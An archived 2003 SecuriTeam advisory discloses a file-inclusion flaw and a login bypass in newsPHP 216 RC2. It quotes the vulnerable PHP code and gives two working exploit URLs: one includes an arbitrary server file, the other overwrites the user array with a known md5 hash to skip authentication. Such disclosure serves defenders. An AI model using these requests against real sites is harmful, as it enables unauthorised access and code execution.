[UNIX] newsPHP Arbitrary File Inclusion and Insufficient Login Validation

From: SecuriTeam (support_at_securiteam.com)
Date: 08/27/03

  • Next message: SecuriTeam: "[EXPL] GtkFTPd Remotely Exploitable Buffer Overflow (Filename)" 
    To: list@securiteam.com
Date: 27 Aug 2003 10:24:25 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      newsPHP Arbitrary File Inclusion and Insufficient Login Validation
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.nphp.net/> NewsPHP is "a news administration tool designed
    for webmasters. It allows you to give other people the ability to post
    news to your web site without having to give them FTP access". Two
    security vulnerabilities in the product allow remote attackers to include
    arbitrary files (and get them executed) and access the product's internal
    functions without needing to authenticate properly.

    DETAILS

    Vulnerable systems:
     * newsPHP version 216 RC2

    Arbitrary File Inclusion:
    A remote attacker can include any existing file on the web server, if the
    LangFile is not set in config (it is not set by default).

    Vulnerable PHP Code:
    -- from nphpd.php
      if(isset($nphp_config["LangFile"]))
      {
       if(strtolower($nphp_config["LangFile"]) != "default" &&
    $nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
       {
         include($nphp_config["LangFile"]);
       }
      }

    Exploit:
    http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file

    Insufficient Login Validation:
    User can perform any other action beside 'login', without knowing a valid
    password and valid username combination.

    Vulnerable PHP Code:
    -- from nfunc.php
      function LoadSettings(&$config, &$users)
    [...]
              $users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
    [...]

    -- from nphpd.php
    [...]
    LoadSettings($nphp_config, $nphp_users);
    [...]
        for($i = 0; $i < count($nphp_users); $i++)
              {
                      if((strtolower($nphp_users[$i][0]) ==
    strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
                      {

    Exploit:
    http://[host]/nphp/?[action here, example: output]&
         pword=a&
         uname=[fake usernamehere]&
         nphp_users[user index here][0]=a&
         nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
         nphp_users[user index here][3]=5

    Note:
    md5('a') is '0cc175b9c0f1b6a831c399e269772661'

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:officerrr@poligon.com.pl>
    Dariusz 'Officerrr' Kolasinski.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] GtkFTPd Remotely Exploitable Buffer Overflow (Filename)"

    Relevant Pages

    • [NT] Netegrity SiteMinder smpwservicescgi.exe Target Redirection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Due to improper filtering of user provided data, a remote attacker can ... This allows an attacker to redirect the user to whatever site ...
      (Securiteam)
    • [NT] WebArchiveX Unsafe Methods Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... String userAgent, ... scripting' entry, but unfortunately has not changed the version number. ...
      (Securiteam)
    • [NEWS] IBM Net.Data Macro Name Cross-Site Scripting Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The vulnerability is caused due to an input validation error in the db2www ... The vendor recommends that the "DTW_DEFAULT_ERROR_MESSAGE" feature (or ...
      (Securiteam)
    • [NEWS] TRUSTe.org Cross Site Scripting and Phishing Opportunities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... and guidance of many established companies and industry experts, TRUSTe ...
      (Securiteam)
    • [NT] FastStone 4in1 Browser Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FastStone 4in1 Browser does not properly sanitize the directory reference ...
      (Securiteam)